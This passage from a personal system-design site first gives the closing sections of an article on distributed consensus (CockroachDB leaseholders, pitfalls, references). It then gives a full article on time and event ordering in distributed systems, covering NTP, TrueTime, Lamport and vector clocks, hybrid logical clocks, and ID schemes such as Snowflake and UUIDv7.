**Leaseholder optimization**: Raft leader isn't always the node serving reads. Leaseholder (may differ from Raft leader) handles reads without consensus round:

> "Leader valid while it receives majority heartbeat responses until `start + election_timeout / clock_drift_bound`"

This enables linearizable reads from a single node—critical for performance.

**Parallel Commits**: CockroachDB's transaction protocol uses Raft for durability but adds a parallel commit phase to reduce latency:

1. Write intents (uncommitted values) via Raft to each range
2. Transaction record committed via Raft
3. Intents asynchronously resolved

## Common Pitfalls

### 1. Disk Latency Causing Consensus Failures

**The mistake**: Running consensus nodes on shared or slow storage.

**Why it happens**: Developers test on fast local SSDs, deploy to cloud instances with variable I/O.

**The consequence**: Raft leader misses heartbeat window, triggers unnecessary election. In severe cases, cascading elections prevent progress.

**The fix**: Monitor fsync latency histograms. Use dedicated NVMe. Alert on 99th percentile >20ms.

**Example**: Kubernetes cluster instability traced to etcd on network-attached storage. P99 fsync was 150ms during I/O bursts.

### 2. Incorrect Quorum Sizing

**The mistake**: Running 2-node consensus clusters or even-numbered clusters.

**Why it happens**: Trying to save resources, misunderstanding fault tolerance.

**The consequence**: 2-node cluster can't survive any failure. 4-node cluster tolerates same failures as 3-node (1 failure) but has higher write latency.

**The fix**: Always run 3, 5, or 7 nodes. More nodes = more fault tolerance but higher latency.

### 3. Split-Brain from Network Partitions

**The mistake**: Consensus nodes spanning unreliable network links without proper timeout tuning.

**Why it happens**: Cross-region deployments with variable latency.

**The consequence**: Partition isolates minority. Minority can't achieve quorum. If timeouts too aggressive, minority keeps trying elections, wasting resources.

**The fix**: Tune election timeout for worst-case RTT. Minority should recognize quorum loss and stop accepting writes.

### 4. Reading Stale Data from Followers

**The mistake**: Load-balancing reads across followers without lease or quorum reads.

**Why it happens**: Performance optimization without understanding consistency implications.

**The consequence**: Followers may be behind leader. Read-your-writes violated.

**The fix**: For linearizable reads, either read from leader, use quorum reads, or implement lease-based reads with bounded clock skew.

## Conclusion

Distributed consensus enables building reliable systems from unreliable components. The algorithms are mathematically elegant, but production reality demands attention to failure modes, performance tuning, and operational simplicity.

Key insights for practitioners:

- FLP means consensus needs timing assumptions to make progress
- Leader-based protocols (Raft) trade generality for understandability
- Quorum math is fundamental—wrong sizing breaks fault tolerance guarantees
- Production consensus is dominated by disk latency and network partitions
- BFT is expensive—use only when truly untrusted participants exist

The choice between ZooKeeper, etcd, and Consul depends on your ecosystem (Hadoop vs. Kubernetes vs. HashiCorp) more than protocol differences—all provide correct consensus with comparable performance.

## Appendix

### Prerequisites

- **Distributed systems basics**: CAP theorem, network partitions, replication
- **Consistency models**: Linearizability, serializability, eventual consistency
- **Basic networking**: RTT, TCP, message ordering

### Terminology

- **Term**: Raft's logical clock—monotonically increasing number that identifies a leadership epoch
- **Proposal number**: Paxos equivalent of term—unique identifier for a consensus round
- **Quorum**: Minimum number of nodes that must participate in a decision
- **Linearizable**: Strongest consistency model—operations appear to execute instantaneously at some point between invocation and response
- **Liveness**: System eventually makes progress (decides a value)
- **Safety**: System never makes incorrect decisions (never disagrees on committed values)

### Summary

- **FLP** proves deterministic consensus impossible in fully async systems—practical systems use timeouts and randomization
- **Paxos** is theoretically foundational but complex to implement; Multi-Paxos adds stable leader optimization
- **Raft** explicitly trades generality for understandability—leader-based, sequential logs, randomized election
- **Quorum overlap** (Qr + Qw > N) is the mathematical basis for consensus correctness
- **BFT** requires 3f+1 nodes vs. 2f+1 for crash faults—only needed in untrusted environments
- **Production** consensus is dominated by disk latency issues, not network failures

### References

- [Impossibility of Distributed Consensus with One Faulty Process](https://groups.csail.mit.edu/tds/papers/Lynch/jacm85.pdf) - Fischer, Lynch, Paterson (1985)
- [Paxos Made Simple](https://lamport.azurewebsites.net/pubs/paxos-simple.pdf) - Lamport (2001)
- [Paxos Made Live](https://www.cs.utexas.edu/users/lorenzo/corsi/cs380d/papers/paper2-1.pdf) - Chandra, Griesemer, Redstone (2007)
- [In Search of an Understandable Consensus Algorithm (Raft)](https://raft.github.io/raft.pdf) - Ongaro, Ousterhout (2014)
- [HotStuff: BFT Consensus with Linearity and Responsiveness](https://arxiv.org/abs/1803.05069) - Yin et al. (2019)
- [ZooKeeper: Wait-free coordination for Internet-scale systems](https://www.usenix.org/legacy/event/atc10/tech/full_papers/Hunt.pdf) - Hunt et al. (2010)
- [etcd: A Distributed Reliable Key-Value Store](https://etcd.io/docs/)
- [Distributed Consensus Reloaded: Apache ZooKeeper and Replication in Kafka](https://www.confluent.io/blog/distributed-consensus-reloaded-apache-zookeeper-and-replication-in-kafka/)

---

## Time and Ordering in Distributed Systems

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/time-and-ordering
**Category:** System Design / System Design Fundamentals
**Description:** Understanding how distributed systems establish event ordering without a global clock—from the fundamental problem of clock synchronization to the practical algorithms that enable causal consistency, conflict resolution, and globally unique identifiers.Time in distributed systems is not what it seems. Physical clocks drift, networks delay messages unpredictably, and there’s no omniscient observer to stamp events with “true” time. Yet ordering events correctly is essential for everything from database transactions to chat message display. This article explores the design choices for establishing order in distributed systems, when each approach makes sense, and how production systems like Spanner, CockroachDB, and Discord have solved these challenges.

# Time and Ordering in Distributed Systems

Understanding how distributed systems establish event ordering without a global clock—from the fundamental problem of clock synchronization to the practical algorithms that enable causal consistency, conflict resolution, and globally unique identifiers.

Time in distributed systems is not what it seems. Physical clocks drift, networks delay messages unpredictably, and there's no omniscient observer to stamp events with "true" time. Yet ordering events correctly is essential for everything from database transactions to chat message display. This article explores the design choices for establishing order in distributed systems, when each approach makes sense, and how production systems like Spanner, CockroachDB, and Discord have solved these challenges.

<figure>

![The spectrum of time solutions mapped to ordering guarantees they can provide](./the-spectrum-of-time-solutions-mapped-to-ordering-guarantees-they-can-provide.svg)

<figcaption>The spectrum of time solutions mapped to ordering guarantees they can provide</figcaption>

</figure>

## Abstract

The fundamental challenge: there is no global clock in a distributed system. Messages take time to travel, physical clocks drift at different rates, and relativity ensures no two observers can agree on simultaneity for spacelike-separated events.

**The mental model:**

- **Physical clocks** provide wall-clock time but drift and skew mean they can't reliably order events across nodes. NTP (Network Time Protocol) keeps clocks within ~1-100ms; GPS/atomic clocks can achieve microsecond accuracy.

- **Lamport clocks** provide a logical timestamp that respects causality: if event A caused B, then `L(A) < L(B)`. However, `L(A) < L(B)` doesn't imply A caused B—concurrent events are indistinguishable.

- **Vector clocks** capture full causal history, enabling detection of concurrent events. Cost: O(n) space per event where n = number of nodes.

- **Hybrid Logical Clocks (HLC)** combine physical time with logical counters—monotonic, bounded drift from wall-clock, and constant space. The dominant choice for modern distributed databases.

| Approach      | Space per Event | Detects Concurrency | Wall-Clock Bound | Use Case                      |
| ------------- | --------------- | ------------------- | ---------------- | ----------------------------- |
| Physical only | O(1)            | No                  | Yes              | Single datacenter, GPS clocks |
| Lamport       | O(1)            | No                  | No               | Causally ordered logs         |
| Vector        | O(n)            | Yes                 | No               | Conflict detection, CRDTs     |
| HLC           | O(1)            | Partial             | Yes              | Distributed databases         |

**Key insight:** The choice depends on what you need to detect. Lamport is sufficient for causal ordering. Vector clocks when you need to detect and resolve conflicts. HLC when you need wall-clock approximation with causal guarantees.

## The Problem: Why Distributed Time Is Hard

### Physical Clocks Drift

Every clock drifts from true time due to temperature, manufacturing variance, and crystal oscillator imperfections. [RFC 5905 (NTP)](https://datatracker.ietf.org/doc/html/rfc5905) defines drift rate tolerance as 100 ppm (parts per million), meaning a clock can gain or lose up to 8.64 seconds per day.

**Quartz oscillators**: Typical drift of 10-100 ppm. A 50 ppm drift means 4.3 seconds/day divergence.

**Temperature effects**: Quartz frequency changes ~0.035 ppm/°C². A 10°C temperature swing can cause 3.5 ppm additional drift.

**Cumulative effect**: Two unsynchronized clocks drifting at 50 ppm in opposite directions diverge by ~8.6 seconds/day.

### Network Delays Are Unbounded

Even if clocks were perfect, comparing timestamps requires exchanging messages. Network delays vary unpredictably:

- Same rack: 0.5ms round-trip
- Same datacenter: 0.5-1ms
- Cross-region: 50-150ms
- Cross-continent: 100-300ms

Worse, delays are asymmetric—the path from A to B may be faster than B to A.

### The Happens-Before Relation

[Lamport (1978)](https://lamport.azurewebsites.net/pubs/time-clocks.pdf) formalized the fundamental ordering relation. Event A **happens-before** event B (written A → B) if:

1. A and B are on the same process, and A occurs before B in program order
2. A is a message send and B is the corresponding receive
3. There exists C such that A → C and C → B (transitivity)

If neither A → B nor B → A, the events are **concurrent** (A ‖ B).

**Key insight**: Concurrency here means "causally unrelated"—not necessarily simultaneous. Events in different processes that don't communicate are concurrent regardless of physical time.

### Why Wall-Clock Ordering Fails

Consider three nodes with clock skew:

```
Node A (clock fast by 50ms):     write(x=1) at T=1050
Node B (clock accurate):         write(x=2) at T=1000
Node C (clock slow by 30ms):     read(x) at T=970
```

Physical timestamps suggest: C's read → B's write → A's write

But causally, if B's write happened first and A read B's value before writing, we need: B → A, not A → B.

**Real-world failure**: Amazon's shopping cart (pre-Dynamo) used last-write-wins with physical timestamps. Clock skew between servers caused customer items to disappear—earlier writes with later timestamps overwrote later writes.

## Physical Clock Synchronization

### NTP (Network Time Protocol)

NTP, defined in [RFC 5905](https://datatracker.ietf.org/doc/html/rfc5905), synchronizes clocks over variable-latency networks.

**Protocol mechanism:**

1. Client sends request at time T1 (client clock)
2. Server receives at T2, responds at T3 (server clock)
3. Client receives at T4 (client clock)
4. Round-trip delay: `δ = (T4 - T1) - (T3 - T2)`
5. Clock offset: `θ = ((T2 - T1) + (T3 - T4)) / 2`

**Assumption**: Network delay is symmetric. This assumption fails under asymmetric routing, causing systematic offset errors.

**Accuracy achievable:**

| Scenario                  | Typical Accuracy | Limiting Factor      |
| ------------------------- | ---------------- | -------------------- |
| LAN, dedicated NTP server | 0.1-1ms          | Network jitter       |
| Internet, stratum 2       | 10-50ms          | Asymmetric routing   |
| Internet, public pool     | 50-100ms         | Server load variance |

**Stratum hierarchy**: Stratum 0 = atomic clocks/GPS. Stratum 1 = directly connected to stratum 0. Each hop adds uncertainty.

### PTP (Precision Time Protocol)

IEEE 1588 PTP achieves sub-microsecond accuracy by using hardware timestamping:

**Key differences from NTP:**

- Timestamps at the NIC, not in software
- Eliminates OS scheduling jitter
- Requires PTP-capable hardware
- Uses multicast for efficiency

**Accuracy**: 10ns-1μs on dedicated networks, microseconds over switched networks.

**When to use**: Financial trading (MiFID II requires microsecond timestamps), telecommunications, industrial control.

### Google TrueTime

TrueTime, used by Spanner, provides an interval rather than a point: `TT.now()` returns `[earliest, latest]` where true time is guaranteed within the interval.

**Implementation:**

- GPS receivers in each datacenter
- Atomic clocks (rubidium, later cesium) as backup
- Multiple time masters per datacenter for redundancy
- Daemon on each machine polls time masters

**Uncertainty bounds:**

- Typical ε (epsilon, half-interval width): 1-7ms
- After GPS outage: ε grows at clock drift rate (~200μs/s)
- Worst case before resync: ~10ms

**Design rationale**: Instead of pretending clocks are synchronized, TrueTime exposes uncertainty explicitly. Spanner's commit-wait ensures that if transaction T1 commits before T2 starts, T1's timestamp < T2's timestamp—even without communication.

**The commit-wait trade-off**: After committing a transaction, Spanner waits `2ε` before reporting success. This ensures no other transaction can have a timestamp in the interval. Average wait: 7-14ms. This is the latency cost of external consistency without coordination.

### Amazon Time Sync Service

AWS provides a time sync service at 169.254.169.123 for EC2 instances:

**Accuracy**: Sub-millisecond for most regions.

**Mechanism**: NTP servers with direct GPS/atomic clock feeds in each availability zone.

**Limitation**: No TrueTime-style uncertainty bounds exposed. Applications must assume bounded but unknown skew.

### Design Choice: Physical Time Strategy

| Strategy                       | Accuracy         | Cost      | Best For                 |
| ------------------------------ | ---------------- | --------- | ------------------------ |
| Public NTP pools               | 50-100ms         | Free      | Non-critical timing      |
| Dedicated NTP infrastructure   | 1-10ms           | Medium    | Most distributed systems |
| PTP with hardware timestamping | <1μs             | High      | Financial, telecom       |
| TrueTime-style (GPS + atomic)  | ~7ms with bounds | Very high | Global databases         |

## Logical Clocks

### Lamport Timestamps

Lamport's logical clock (1978) captures the happens-before relation without physical time.

**Algorithm:**

1. Each process maintains a counter `C`
2. Before any event (internal, send, or receive): `C = C + 1`
3. When sending message m: attach timestamp `C` to m
4. When receiving message m with timestamp `T`: `C = max(C, T) + 1`

**Properties:**

- If A → B, then L(A) < L(B) (soundness)
- Converse is NOT true: L(A) < L(B) does NOT imply A → B

**Why the converse fails**: Concurrent events get arbitrary ordering. If A and B are concurrent, one will have a higher timestamp than the other, but this doesn't indicate causality.

```
Process P1:  [1] ----send(m)----> [2]
                      |
Process P2:  [1] <----receive---- [3]  [4]
                                   |
Process P3:  [1]      [2]  <------send---- [3]
```

P2's event at logical time [4] appears "after" P3's event at [2], but they're concurrent—no causal relationship.

**Use case**: Total ordering of events where causal ordering is needed but concurrency detection is not. Distributed logging, totally ordered broadcast.

**Limitation**: Can't detect concurrent events. If you need to know whether two events might conflict, Lamport timestamps are insufficient.

### Vector Clocks

Vector clocks, independently developed by Fidge (1988) and Mattern (1989), capture complete causal history.

**Algorithm:**

1. Each process i maintains vector V[1..n] initialized to zeros
2. Before any event: `V[i] = V[i] + 1`
3. When sending: attach V to message
4. When receiving message with vector U: `V[j] = max(V[j], U[j])` for all j, then `V[i] = V[i] + 1`

**Comparison:**

- V(A) < V(B) (A causally precedes B) iff: V(A)[i] ≤ V(B)[i] for all i, and V(A) ≠ V(B)
- A ‖ B (concurrent) iff: neither V(A) < V(B) nor V(B) < V(A)

**Example:**

```
Process P1: [1,0,0] → [2,0,0] ----send---→ [3,0,0]
                                   ↓
Process P2: [0,1,0] ←--receive--- [2,2,0] → [2,3,0]
                                            |
Process P3: [0,0,1] ----send---→ [0,0,2] ←--receive--- [2,3,3]
```

P1's [3,0,0] and P2's [2,3,0] are concurrent: 3 > 2 but 0 < 3.

**Space complexity**: O(n) per event, where n = number of processes. This becomes problematic with thousands of nodes.

**Use case**: Conflict detection in replicated systems. Dynamo, Riak, and early distributed databases used vector clocks to detect when concurrent writes need reconciliation.

### Vector Clock Pruning and Optimizations

Pure vector clocks don't scale. Production systems use variations:

**Version vectors**: Track only write events, not all events. Reduces churn.

**Dotted version vectors**: Add a "dot" (node, counter) pair to handle sibling values correctly. Used by Riak.

**Interval tree clocks**: Dynamically sized—nodes can fork and join. Space grows with actual concurrency, not total nodes.

**Bounded vector clocks**: Prune entries for nodes not seen recently. Trade-off: can incorrectly mark events as concurrent.

### When Vector Clocks Are Worth the Cost

| Scenario                  | Use Vector Clocks? | Rationale                         |
| ------------------------- | ------------------ | --------------------------------- |
| Multi-master replication  | Yes                | Need to detect write conflicts    |
| CRDT-based storage        | Yes                | Merge semantics require causality |
| Single-leader replication | No                 | Leader serializes all writes      |
| Event sourcing            | No                 | Global sequence number suffices   |
| Distributed cache         | No                 | Last-write-wins acceptable        |

## Hybrid Logical Clocks

### The HLC Design

Hybrid Logical Clocks, proposed by [Kulkarni et al. (2014)](https://cse.buffalo.edu/tech-reports/2014-04.pdf), combine physical and logical time:

**Structure**: Each timestamp is a pair `(l, c)` where:

- `l` = physical time component (wall-clock bound)
- `c` = logical counter

**Algorithm:**

```
send/local event:
  l' = max(l, pt.now())
  if l' == l:
    c = c + 1
  else:
    l = l'
    c = 0
  return (l, c)

receive event with timestamp (l_m, c_m):
  l' = max(l, l_m, pt.now())
  if l' == l == l_m:
    c = max(c, c_m) + 1
  elif l' == l:
    c = c + 1
  elif l' == l_m:
    c = c_m + 1
  else:
    c = 0
  l = l'
  return (l, c)
```

**Properties:**

1. **Monotonic**: HLC timestamps only increase
2. **Bounded drift**: `l - pt.now() ≤ ε` where ε is maximum clock skew
3. **Causality**: If A → B, then HLC(A) < HLC(B)
4. **Constant space**: Just two integers per timestamp

**Why HLC works**: The physical component keeps timestamps close to wall-clock time. The logical component handles the case when multiple events have the same physical time or when a received message has a future timestamp.

### HLC vs. Alternatives

| Property                 | Lamport | Vector | HLC       |
| ------------------------ | ------- | ------ | --------- |
| Detects concurrency      | No      | Yes    | Partial\* |
| Wall-clock approximation | No      | No     | Yes       |
| Space per timestamp      | O(1)    | O(n)   | O(1)      |
| Comparison complexity    | O(1)    | O(n)   | O(1)      |

\*HLC can detect some concurrent events when physical times differ significantly, but not all.

**Design rationale**: HLC trades perfect concurrency detection for practical benefits:

1. Timestamps are meaningful to humans (close to wall time)
2. Constant space regardless of cluster size
3. Efficient lexicographic comparison
4. Can be used as database primary keys

### HLC in Production: CockroachDB

CockroachDB uses HLC for transaction timestamps and MVCC (Multi-Version Concurrency Control):

**Timestamp assignment:**

- Transactions get HLC timestamp at start
- Reads see data as of transaction's timestamp
- Writes are tagged with transaction's timestamp

**Clock skew handling:**

- Maximum allowed skew configurable (default 500ms)
- If received timestamp > local clock + max_offset, reject the message
- Read refresh: if transaction reads stale data due to clock skew, retry with updated timestamp

**The read uncertainty interval**: When a transaction reads a key, it must consider writes in the interval `[read_timestamp, read_timestamp + max_offset]` as potentially in the past. This is the cost of not having TrueTime's bounded uncertainty.

### HLC Implementation Details

**Timestamp encoding**: CockroachDB encodes HLC as a single 96-bit value:

- 64 bits: wall time (nanoseconds since Unix epoch)
- 32 bits: logical counter

**Comparison**: Lexicographic—compare wall time first, then logical counter.

**Persistence**: HLC must be persisted before acknowledging to ensure monotonicity across restarts.

**Drift detection**: Monitor `|hlc.now() - system_clock.now()|`. Alert if drift exceeds threshold.

## Ordering Guarantees and Protocols

### Total Order Broadcast

Total order broadcast ensures all nodes deliver messages in the same order.

**Specification:**

- **Validity**: If a correct process broadcasts m, all correct processes eventually deliver m
- **Agreement**: If a correct process delivers m, all correct processes eventually deliver m
- **Total Order**: If processes p and q both deliver m1 and m2, they deliver them in the same order

**Implementation approaches:**

**1. Sequencer-based**: Single node assigns sequence numbers

- Pro: Simple, fast in happy path
- Con: Single point of failure, bottleneck

**2. Lamport timestamps + conflict resolution**: Use Lamport clock, break ties with node ID

- Pro: No single point of failure
- Con: Requires all-to-all communication

**3. Consensus-based**: Use Paxos/Raft for each message ordering decision

- Pro: Fault-tolerant, well-understood
- Con: Higher latency (consensus rounds)

### Causal Broadcast

Causal broadcast provides weaker guarantees—only causally related messages need ordering.

**Specification:**

- If send(m1) → send(m2), then deliver(m1) → deliver(m2) at all nodes

**Implementation**: Attach vector clock to messages. Hold delivery until all causally preceding messages are delivered.

**When sufficient**: Social media feeds, collaborative editing, chat applications where global ordering isn't needed but causal ordering is.

### FIFO Broadcast

FIFO (First-In-First-Out) broadcast orders messages from the same sender:

**Specification:**

- If process p sends m1 then m2, all processes deliver m1 before m2

**Implementation**: Sequence number per sender. Simple but doesn't order across senders.

### Ordering Guarantees Hierarchy

```
Total Order ⊃ Causal Order ⊃ FIFO Order ⊃ Reliable Broadcast
   ↓              ↓             ↓              ↓
More coordination                     Less coordination
Higher latency                        Lower latency
```

## Design Choices: ID Generation

Ordered events often need globally unique identifiers. The choice of ID scheme affects ordering guarantees.

### UUID v1 (Time-based)

**Structure**: 60-bit timestamp + 14-bit clock sequence + 48-bit node ID

**Ordering**: Partially time-ordered but timestamp bits aren't in MSB position, breaking lexicographic sorting.

**Trade-offs:**

- ✅ Globally unique without coordination
- ✅ Embeds creation time
- ❌ Not lexicographically sortable
- ❌ Exposes MAC address (privacy concern)

### UUID v4 (Random)

**Structure**: 122 random bits + 6 version/variant bits

**Ordering**: None—completely random.

**Trade-offs:**

- ✅ Simple, no coordination
- ✅ No information leakage
- ❌ Poor index locality (scattered inserts)
- ❌ No temporal information

### UUID v7 (Time-ordered)

[RFC 9562](https://datatracker.ietf.org/doc/html/rfc9562) (2024) defines UUIDv7 as time-ordered with millisecond precision:

**Structure**: 48-bit Unix timestamp (ms) + 4-bit version + 12-bit random + 2-bit variant + 62-bit random

**Ordering**: Lexicographically sortable by creation time.

**Trade-offs:**

- ✅ Time-ordered for index locality
- ✅ Standard format
- ✅ No coordination needed
- ❌ Millisecond precision only
- ❌ Concurrent events from same node may not be strictly ordered

### Snowflake IDs

Twitter's Snowflake (2010) was designed for high-throughput, sortable IDs:

**Structure** (64 bits total):

- 1 bit: unused (sign bit)
- 41 bits: timestamp (ms since custom epoch, ~69 years)
- 10 bits: machine ID
- 12 bits: sequence number (4096 IDs/ms/machine)

**Throughput**: 4,096,000 IDs/second per machine.

**Trade-offs:**

- ✅ Compact (64-bit fits in long)
- ✅ K-sortable (mostly time-ordered)
- ✅ High throughput
- ❌ Requires machine ID coordination
- ❌ Clock rollback can cause collisions

### Snowflake Variants

**Discord**: Modified Snowflake with 5-bit datacenter + 5-bit worker (vs. 10-bit machine). Added clock skew detection.

**Instagram**: 41-bit timestamp + 13-bit shard ID + 10-bit sequence. Generates IDs in PostgreSQL stored procedures.

**ULID**: 48-bit timestamp + 80-bit random. Lexicographically sortable string representation.

### ID Generation Decision Matrix

| Requirement                      | Recommended         | Rationale                        |
| -------------------------------- | ------------------- | -------------------------------- |
| Globally unique, no coordination | UUIDv4 or ULID      | Random bits ensure uniqueness    |
| Time-sortable, standard format   | UUIDv7              | RFC standard, lexicographic sort |
| Compact, high throughput         | Snowflake           | 64-bit, 4M IDs/s/machine         |
| Database primary key             | UUIDv7 or Snowflake | Good index locality              |
| Cryptographic randomness needed  | UUIDv4              | Maximum entropy                  |

## Real-World Implementations

### Google Spanner: TrueTime for External Consistency

**Problem**: Global transactions that appear to execute in commit order.

**Approach**: TrueTime provides bounded clock uncertainty. Commit-wait ensures transaction T2 that starts after T1 commits has timestamp > T1's timestamp.

**Implementation details:**

- TrueTime servers with GPS and atomic clocks
- Client libraries expose uncertainty interval
- Commit-wait duration = 2 × uncertainty
- Read-only transactions can read at any past timestamp from any replica

**Key insight**: Spanner doesn't eliminate clock skew—it bounds it and works within those bounds. The cost is commit-wait latency (typically 7-14ms).

**When to use**: Global databases requiring external consistency—ACID transactions across continents where "if T1 commits before T2 starts, T1's effects are visible to T2" must hold.

### CockroachDB: HLC without Specialized Hardware

**Problem**: Spanner-like consistency without Google's clock infrastructure.

**Approach**: Hybrid Logical Clocks + read refresh + clock skew limits.

**Implementation:**

- Default max clock offset: 500ms
- Transactions read at HLC timestamp
- If read encounters write in uncertainty interval, transaction restarts
- Serializable isolation by default

**The uncertainty window trade-off**: Without TrueTime's bounds, CockroachDB must assume wider uncertainty. More restarts than Spanner, but no specialized hardware.

**Clock skew handling**:

```
Transaction T reads key K at timestamp ts
If K has version v where ts < v.timestamp < ts + max_offset:
  - This write might have happened "before" T started
  - Refresh T's timestamp to v.timestamp + 1
  - Retry the read
If too many refreshes, abort and retry transaction
```

**Monitoring**: `clock_offset_meannanos` metric tracks observed clock offsets. Alert if approaching `max_offset`.

### Slack: Hybrid Clocks for Message Ordering

**Problem**: Chat messages must appear in causal order despite clock skew.

**Failed approach**: Physical timestamps. With 50ms+ clock skew between servers, messages appeared out of order—replies before questions.

**Chosen approach**: Hybrid Logical Clocks for message timestamps.

**Implementation:**

- Each message gets HLC timestamp from sending server
- Messages displayed in HLC order within channel
- HLC's physical component provides rough wall-clock time for UI
- Logical component ensures causal ordering

**Key insight**: Chat doesn't need strict wall-clock ordering. Users care that replies appear after the messages they reply to (causal), not precise global time.

### Discord: Snowflake IDs for Message IDs

**Problem**: Need unique, sortable message IDs at 100K+ messages/second.

**Approach**: Modified Snowflake IDs.

**Structure:**

- 41 bits: timestamp (ms since Discord epoch)
- 5 bits: datacenter ID
- 5 bits: worker ID
- 12 bits: sequence

**Why not UUID**: UUIDs are 128 bits (twice the storage), not sortable (UUIDv7 didn't exist), and have poor index locality.

**Clock rollback handling**: If system clock goes backward:

1. Detect via comparing new time to last generated timestamp
2. If small rollback (<5s), spin-wait
3. If large rollback, log error and generate based on last timestamp + sequence

**Sorting optimization**: Since IDs are time-sortable, Discord can use message ID for pagination: "get messages before/after ID X" is a simple range query.

### Amazon DynamoDB: Vector Clocks (Deprecated)

**Original design (2007 Dynamo paper)**: Vector clocks for conflict detection in multi-master replication.

**Problem encountered**: Vector clocks grew unboundedly with many writers. Truncating clocks caused false conflicts.

**Current design**: DynamoDB now uses single-leader-per-partition with conditional writes. Conflict resolution moved to application layer via conditional expressions.

**Lesson**: Vector clocks' O(n) space is manageable when n is small (few replicas). With many clients writing directly, n becomes impractical.

## Common Pitfalls

### 1. Trusting Physical Timestamps for Ordering

**The mistake**: Using `System.currentTimeMillis()` or equivalent for event ordering across nodes.

**Why it happens**: Works perfectly in development (same machine). Appears to work in test (low skew).

**The consequence**: Production has variable clock skew. Events ordered incorrectly. Last-write-wins loses the actual last write.

**Example**: E-commerce inventory system using timestamps. Clock skew caused two concurrent purchases to both succeed, overselling inventory.

**The fix**: Use logical or hybrid clocks for ordering. Physical time only for display purposes.

### 2. Assuming NTP Is Sufficient

**The mistake**: Relying on NTP for sub-millisecond ordering decisions.

**Why it happens**: NTP works well for human-scale time. Documentation says "millisecond accuracy."

**The consequence**: NTP accuracy varies: 1ms on LAN, 10-100ms over internet. Asymmetric paths cause systematic offset.

**The fix**: For ordering, use logical clocks. For bounded physical time, use PTP or cloud time services (AWS Time Sync, Google TrueTime).

### 3. Ignoring Clock Rollback

**The mistake**: Assuming system clock is monotonic.

**Why it happens**: Usually true. NTP adjusts gradually. Rare events are easy to ignore.

**The consequence**: VM migration, NTP step adjustment, or leap second handling can roll clock back. Snowflake-style IDs collide. Timestamps go backward.

**The fix**:

- Use monotonic clock source for durations
- Detect rollback and handle (wait, use sequence, abort)
- Monitor for clock anomalies

### 4. Vector Clock Space Explosion

**The mistake**: Using vector clocks with thousands of nodes or clients.

**Why it happens**: Vector clocks elegantly solve causality. Easy to implement.

**The consequence**: Each timestamp is O(n). With 10,000 clients, each timestamp is 40KB. Storage and bandwidth explode.

**The fix**:

- Limit vector clock participants (replicas, not clients)
- Use HLC if full causality detection isn't needed
- Consider interval tree clocks for dynamic node sets

### 5. Conflating Causality with Ordering

**The mistake**: Assuming "A happened before B" in Lamport timestamps means A caused B.

**Why it happens**: The name "happens-before" is misleading. Lamport timestamps do capture causality.

**The consequence**: Treating concurrent events as ordered leads to incorrect conflict resolution.

**The fix**: Understand the implication direction. L(A) < L(B) is necessary but not sufficient for A → B. Use vector clocks if you need to detect concurrency.

## How to Choose

### Step 1: Identify Ordering Requirements

**Questions to ask:**

1. Do you need global total order or just causal order?
2. What's the cost of incorrect ordering? (Data loss? User confusion? Audit failure?)
3. Do you need to detect concurrent events for conflict resolution?
4. Is wall-clock approximation needed for display or TTL?

### Step 2: Map Requirements to Approach

| If you need...                       | Consider...                             |
| ------------------------------------ | --------------------------------------- |
| Causal ordering only                 | Lamport timestamps                      |
| Conflict detection (multi-master)    | Vector clocks or CRDT-friendly approach |
| Sortable IDs with time approximation | Snowflake / UUIDv7                      |
| Database transaction timestamps      | HLC                                     |
| True global ordering                 | Consensus (Raft/Paxos) or TrueTime      |

### Step 3: Consider Scale and Constraints

| Scale Factor                 | Recommendation                        |
| ---------------------------- | ------------------------------------- |
| <10 nodes in consensus group | Vector clocks manageable              |
| 10-1000 nodes                | HLC, avoid per-node vectors           |
| >1000 nodes                  | HLC with bounded clock skew           |
| Single leader                | Sequence numbers sufficient           |
| Multi-region                 | Account for 100ms+ RTT in skew bounds |

### Step 4: Choose ID Generation Strategy

| Primary need          | Recommendation              |
| --------------------- | --------------------------- |
| Database primary keys | UUIDv7 or Snowflake         |
| Distributed tracing   | UUIDv4 (randomness needed)  |
| User-visible IDs      | Snowflake variant (compact) |
| No ID coordination    | UUIDv7                      |
| Maximum throughput    | Snowflake                   |

## Conclusion

Time and ordering in distributed systems is fundamentally limited by physics—there is no global clock, and message delays are unpredictable. The algorithms we've explored provide different trade-offs:

Physical clocks provide wall-clock time but can't reliably order events without bounds on uncertainty. Google's TrueTime shows that with GPS and atomic clocks, you can bound uncertainty and work within those bounds.

Lamport timestamps provide causal ordering with minimal overhead but can't detect concurrent events. Vector clocks provide full causal information but scale poorly.

Hybrid Logical Clocks represent the current best practice for distributed databases—they combine physical time's interpretability with logical clocks' causal guarantees, all in constant space.

The key insight is that you rarely need perfect global ordering. Understanding what ordering guarantees your application actually requires—and paying only for those guarantees—enables building systems that are both correct and performant.

## Appendix

### Prerequisites

- Basic distributed systems concepts (nodes, messages, network partitions)
- Understanding of causality and concurrent events
- Familiarity with database consistency models

### Terminology

- **Clock drift**: Rate at which a clock gains or loses time relative to reference time
- **Clock skew**: Difference between two clocks at a given instant
- **Happens-before (→)**: Causal ordering relation defined by Lamport
- **Concurrent events (‖)**: Events with no causal relationship
- **Linearizability**: Operations appear atomic and ordered consistently with real-time
- **External consistency**: If T1 commits before T2 starts, T1's timestamp < T2's timestamp
- **Monotonic**: Only increasing, never decreasing
- **Idempotent**: Same result regardless of how many times applied

### Summary

- Physical clocks drift; NTP provides ~1-100ms accuracy, TrueTime provides bounded ~7ms uncertainty
- Lamport timestamps: O(1) space, causal ordering, can't detect concurrency
- Vector clocks: O(n) space, full causality, detects concurrent events
- HLC: O(1) space, causal ordering, bounded drift from wall-clock—best default for databases
- ID generation: UUIDv7 or Snowflake for time-sortable, compact identifiers
- Choose based on requirements: total order → consensus, causal order → Lamport/HLC, conflict detection → vector clocks

### References

#### Foundational Papers

- [Time, Clocks, and the Ordering of Events in a Distributed System](https://lamport.azurewebsites.net/pubs/time-clocks.pdf) - Lamport (1978). Defines happens-before, introduces logical clocks.
- [Logical Physical Clocks and Consistent Snapshots in Globally Distributed Databases](https://cse.buffalo.edu/tech-reports/2014-04.pdf) - Kulkarni et al. (2014). Defines Hybrid Logical Clocks.

#### System Papers

- [Spanner: Google's Globally-Distributed Database](https://research.google.com/archive/spanner-osdi2012.pdf) - Corbett et al. (2012). TrueTime and external consistency.
- [Spanner, TrueTime & The CAP Theorem](https://research.google.com/pubs/archive/45855.pdf) - Google (2017). Clarifies Spanner's consistency guarantees.
